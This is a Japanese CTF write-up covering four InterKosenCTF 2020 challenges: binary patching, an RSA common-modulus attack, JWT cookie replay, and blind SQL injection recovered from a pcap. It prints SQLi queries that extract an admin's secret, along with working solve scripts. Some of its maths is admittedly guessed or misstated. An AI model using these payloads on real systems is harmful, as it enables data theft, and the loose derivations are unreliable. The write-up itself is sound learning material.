│       │   0x00000a93      e828fdffff     call sym.imp.exit           ; void exit(int status)

mmap(0x3fee00000000, 0x1000, 3, 0x8032, 0xffffffff, 0)を最初に呼び出し、返り値が0x3fee00000000でなかったらexitするといった処理です。

mmapの返り値は成功すると確保したメモリのアドレス=第一引数を返します。

返り値が第一引数と等しくないということは、mmapに失敗しているようです。

citizen_secretの方も見てみると同じような処理がありますが、mmapのアドレスは0x3fcc00000000でした。

ここで、libslave.so, libemperor.soについても_flagと_secretを見てみます。

mmapで確保するアドレスを表にすると、このようになります。

slave citizen emperor
_flag 0x3fcc00000000 0x3fee00000000 0x3f5500000000
_secret 0x3f5500000000 0x3fcc00000000 0x3fee00000000

mmapのアドレスが被っていますね。Resource conflictsと言ってるしこのせいでしょう。

被らないようにmmapするアドレスを書き替えます。_flagのアドレスを0x4f...にしてみましょう。

[0x00000800]> pd 1 @ 0x00000a48
            0x00000a48      48bf00000000.  movabs rdi, 0x3fee00000000  ; 70291434766336
[0x00000800]> "wa mov rdi, 0x4fee00000000" @ 0x00000a48
Written 10 byte(s) (mov rdi, 0x4fee00000000) = wx 48bf00000000ee4f0000
[0x00000800]> pd 1 @ 0x00000a48
            0x00000a48      48bf00000000.  movabs rdi, 0x4fee00000000  ; 87883620810752

同じようにslave, emperorも0x4f...になるように書き替えて、実行してみます。

$ LD_LIBRARY_PATH=./ ./a.out
The flag is KosenCTF{emperor_wins_with_a_probability_of_four-fifths}

フラグが取得できました。

ciphertexts [warmup crypto, 33solves]

main.pyとoutput.txtが渡されます。

from Crypto.Util.number import *
import gmpy2
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n1 = p * q
n2 = p * q * r

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

m = bytes_to_long(flag)
c1 = pow(m, e1, n1)
c2 = pow(m, e2, n2)

print("n1 = {}".format(n1))
print("n2 = {}".format(n2))
print("e1 = {}".format(e1))
print("e2 = {}".format(e2))
print()
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))
n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546

\begin{eqnarray} n_1 &=& pq \\ n_2 &=& pqr \\ c_1 &\equiv& m^{e_1} \mod n_1 \\ c_2 &\equiv& m^{e_2} \mod n_2 \ \\ \end{eqnarray}

という数式でc1,c2が作られています。与えられた結果からmを復元することを目指します。

まず前提として、

\begin{eqnarray} c &\equiv& m^{e} \mod n \\ \end{eqnarray}

という形はRSA暗号のものです。Cryptoでは頻出ですね。

脆弱な条件の下でmを求める方法はいくつか知られていて、このスライドがとても詳しいです。

www.slideshare.net

「その8」で紹介されている、「同一の平文で異なるeで暗号化した暗号文を与えてはいけない」というのが使えそうです。

紹介されているCommon Modulus Attackという攻撃を調べ、この記事を参考にしました。

elliptic-shiho.hatenablog.com

これによると

\begin{eqnarray} c_1 &\equiv& m^{e_1} \mod n \\ c_2 &\equiv& m^{e_2} \mod n \ \\ \end{eqnarray}

の式があるときmを復元できるようです。同じような形ですね。

しかし今回はmodのnが二つの式で違うのでそのままでは解けません。

\begin{eqnarray} r &=& \frac{n_2}{n_1} \\ \end{eqnarray}

これは自明ですね。modを外す方法ですが、調べてもよくわからなかったので勘で解きます。

\begin{eqnarray} c_1 &=& m^{e_1} &\mod& pq \\ c_1 \mod r&=& m^{e_2} &\mod& pqr \\ c_1'&=& c_1 &\mod& r \\ c_1'&=& m^{e_2} &\mod& n_2 \\ \end{eqnarray}

これは成立する気がしてきませんか?私はします。

まぁ真面目に考えると反例があります。

\begin{eqnarray} xy &=& n \mod p \\ xy \mod y &\neq& n \mod py \ \\ \end{eqnarray}

しかし、xyと新たにmodする数が互いに素なら成り立つんじゃないかな~と思いました(未証明

rは素数なのでc1と互いに素なので恐らく成立します。これでmodをn2に揃えることができました。

あとは拡張ユークリッドの互除法のプログラムをネットから持ってきて、記事の通りのコードを書いていきます。

from math import gcd
import binascii
# p * q
n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
# p * q * r
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546

r = n2 // n1
assert gcd(r, c1) == 1
c1 %= n1


def ex_euclid(x, y):
    c0, c1 = x, y
    a0, a1 = 1, 0
    b0, b1 = 0, 1

    while c1 != 0:
        m = c0 % c1
        q = c0 // c1

        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return c0, a0, b0

_, a, b = ex_euclid(e1, e2)

m = pow(c1, a, n1) * pow(c2, b, n1) % n1
print(binascii.unhexlify(hex(m)[2:]))
$ python3 solve.py
b'KosenCTF{HALDYN_D0M3}'

フラグを取得できました。未証明AC、最高!

matsushima2 [warmup web, 46solves]

URLとサーバーのプログラムが渡されます。開いてみると、ブラックジャックのゲームのようです。

f:id:Satoooon1024:20200907223550p:plain

勝つごとに倍々にchipsが増え続けていき、999999を越えたらフラグを取得できます。

さて、サーバーのプログラムを読んでいくとわかることがあります。

  • ゲームに必要な全ての状態をJson Web TokenでCookieに保存、利用している
      response = make_response(jsonify({
          'player': state['player'],
          'dealer': state['dealer'],
          'chip': state['chip'],
          'player_score': state['player_score'],
          'dealer_score': state['dealer_score'],
      }))
      response.set_cookie('matsushima', jwt.encode(state, key, algorithm='HS256'), httponly=True, samesite='strict')
  • セッションで管理をしていない

ここから思いつくのが、

Cookieを保存しておいて、負けた後Cookieを再度セットすれば過去の状態に戻れるんじゃないか?

ということです。実際にそれが成り立ちます。

スクリプトを書いてもいいですが、倍々で増えてくならそこまで手間はかからないかなと思いChromeのdevtoolを使って手作業でやりました。

手作業でやってるときかなり連勝したので、下手したら運で解ける人いるんじゃ...?と思いました。

limited [web+forensics, 40solves]

pcapファイルが渡されます。Wiresharkで開きhttpでフィルターをかけると、どうやらBlind SQL Injectionをしている様子のキャプチャのようであることがわかります。

「ファイル => オブジェクトをエクスポート => HTTP」でHTTPで通信したファイルを全て保存できます。

SQL Injectionに使ったであろうクエリを復号して一覧表示してみると、このようになります。

search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 13
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 11
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 2, 1)) FROM account WHERE name="admin") % 11
...

search_maxは恐らくLIMITの値でしょう。LIMITをベースにSQLiをしているようです。

受信したHTMLはこのようになっています。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Search result for ""</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
  </head>
  <body>
    <nav class="navbar navbar-expand-lg navbar-light bg-light">
      <a class="navbar-brand" href="/">KosenLab</a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>

      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav mr-auto">
          <li class="nav-item active">
            <a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="/members">Members</a>
          </li>
          <li class="nav-item dropdown">
            <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
              CTFs
            </a>
            <div class="dropdown-menu" aria-labelledby="navbarDropdown">
              <a class="dropdown-item" href="#">InterKosenCTF 1st Edition</a>
              <a class="dropdown-item" href="#">InterKosenCTF 2019</a>
              <div class="dropdown-divider"></div>
              <a class="dropdown-item" href="#">InterKosenCTF 2020 (now running!)</a>
            </div>
          </li>
        </ul>
        <form class="form-inline my-2 my-lg-0" action="/search.php" method="GET">
          <input class="form-control mr-sm-2" type="search" placeholder="Search" aria-label="Search" name="keyword">
          <button class="btn btn-outline-success my-2 my-sm-0" type="submit">Search</button>
        </form>
      </div>
    </nav>
    <div class="container">
      <h1>Search result for ""</h1>
              <table class="table table-striped">
          <thead>
            <tr>
              <th scope="col">#</th>
              <th scope="col">Title</th>
              <th scope="col">Link</th>
            </tr>
          </thead>
          <tbody>
                          <tr>
                <th scope="row">1</th>
                <td>zer0pts gets 3rd place in PoseidonCTF 1st Edition</td>
                <td><a href="article.php?id=1">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">2</th>
                <td>zer0pts gets 5th place in UIUCTF 2020</td>
                <td><a href="article.php?id=2">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">3</th>
                <td>zer0pts gets 4th place in Defenit CTF 2020</td>
                <td><a href="article.php?id=3">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">4</th>
                <td>zer0pts gets 1st place in Hexion CTF 2020</td>
                <td><a href="article.php?id=4">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">5</th>
                <td>zer0pts gets 3rd place in IJCTF 2020 Final</td>
                <td><a href="article.php?id=5">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">6</th>
                <td>zer0pts gets 3rd place in FireShell CTF 2020</td>
                <td><a href="article.php?id=6">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">7</th>
                <td>zer0pts gets 6th place in b01lers CTF 2020</td>
                <td><a href="article.php?id=7">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">8</th>
                <td>zer0pts gets 6th place in Pwn2Win CTF 2020</td>
                <td><a href="article.php?id=8">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">9</th>
                <td>zer0pts gets 6th place in HackTM CTF Quals 2020</td>
                <td><a href="article.php?id=9">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">10</th>
                <td>How Yoshiking Became The Most Professional Among Professionals</td>
                <td><a href="article.php?id=10">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">11</th>
                <td>insecure held the first online CTF named InterKosenCTF on January 18th, 2019</td>
                <td><a href="article.php?id=11">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">12</th>
                <td>insecure held the second online CTF named InterKosenCTF 2019 on August 11th, 2019</td>
                <td><a href="article.php?id=12">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">13</th>
                <td>zer0pts held the first online/global CTF named zer0pts CTF 2020!</td>
                <td><a href="article.php?id=13">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">14</th>
                <td>insecure is holding the third InterKosenCTF event now!</td>
                <td><a href="article.php?id=14">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">15</th>
                <td>zer0pts is planning to host the upcoming zer0pts CTF event next year!</td>
                <td><a href="article.php?id=15">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">16</th>
                <td>DefenitelyZer0 gets 2nd place in ASIS CTF Quals 2020</td>
                <td><a href="article.php?id=16">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">17</th>
                <td>DefenitelyZer0 gets 2nd place in TSG CTF 2020</td>
                <td><a href="article.php?id=17">Read this article</a></td>
              </tr>
                          <tr>
                <th scope="row">18</th>
                <td>DefenitelyZer0 gets 2nd place in CyBRICS CTF 2020</td>
                <td><a href="article.php?id=18">Read this article</a></td>
              </tr>
                      </tbody>
        </table>
          </div>
  </body>
</html>

(読みやすいようにインデントを調整しています)

この<th scope="row">の数がsearch_maxの値だと推測できます。これを数えるにはPyQueryやBeautifulSoupなどのHTMLパーサーを使うといいでしょう。

さて、中国剰余定理を知っていますか?私は知っています。

中国剰余定理とは、

\begin{eqnarray} x &\equiv& a \mod n \\ x &\equiv& b \mod n \ \\ \end{eqnarray}

上式の式で、a, b, nを使ってxを求めることができるという定理です。知っていたなら後は調べて使うだけです。

import glob
import os
import urllib.parse
import re
from bs4 import BeautifulSoup
from pprint import pprint
from math import gcd
from collections import OrderedDict

paths = glob.glob("http/search.php%3fkeyword=&search_max=%28SELECT+unicode*")

results = {}

for path in paths:
    url = urllib.parse.unquote(os.path.basename(path)).replace("+", " ")
    with open(path, "r") as f:
        content = f.read()
    soup = BeautifulSoup(content, 'html.parser')
    count = len(soup.find_all("th", {"scope": "row"}))
    index = int(re.search(r"secret, (\d+)", url).groups()[0])
    mod = int(re.search(r"% (\d+)", url).groups()[0])
    if index not in results:
        results[index] = []
    results[index].append({"url": url, "count": count, "mod": mod})

for key in results:
    results[key].sort(key=lambda x:int(re.search(r"% (\d+)", x["url"]).groups()[0]), reverse=True)

pprint(results)

def extgcd(x, y):
    c0, c1 = x, y
    a0, a1 = 1, 0
    b0, b1 = 0, 1

    while c1 != 0:
        m = c0 % c1
        q = c0 // c1

        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return c0, a0, b0

def crt(eq0, eq1):
    a0, m0 = eq0
    a1, m1 = eq1

    g = gcd(m0, m1)

    if a0 % g != a1 % g:
        raise Exception("x doesn't exist.")

    if g > 1:
        m0 /= g
        m1 /= g

        while True:
            gt = gcd(m0, g)
            if gt == 1:
                break
            m0 *= gt
            g /= gt
        
        m1 *= g

        a0 %= m0
        a1 %= m1

    g, p, q = extgcd(m0, m1)
    
    x = a0 * q * m1 + a1 * p * m0
    mod = m0 * m1
    x = x % mod

    return [x, mod]

flag = [""]*100
for key in results:
    req1, req2 = results[key][:2]
    x, mod = crt((req1["count"], req1["mod"]), (req2["count"], req2["mod"]))
    for req in results[key][3:]:
        x, mod = crt((x, mod), (req["count"], req["mod"]))
    flag[key] = chr(x)

print("".join(flag))
$ python3 solve.py
K"seCF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

フラグを取得することができました。

最初が失敗していますが、KosenCTF{で始まるとわかっているので問題ありません(正確にやれ)

総括

こういう日本の初心者CTFに参加する機会はめったにないので、開催・運営してくれた方々に感謝します。

CTFのWriteupを初めて書いてみましたが、復習の手段としてもとてもよいですね。

miniblogやtip toeなど取り組んで解けなかった問題はあるんですが、解けそうかな~と思った問題は全て解けたので満足です。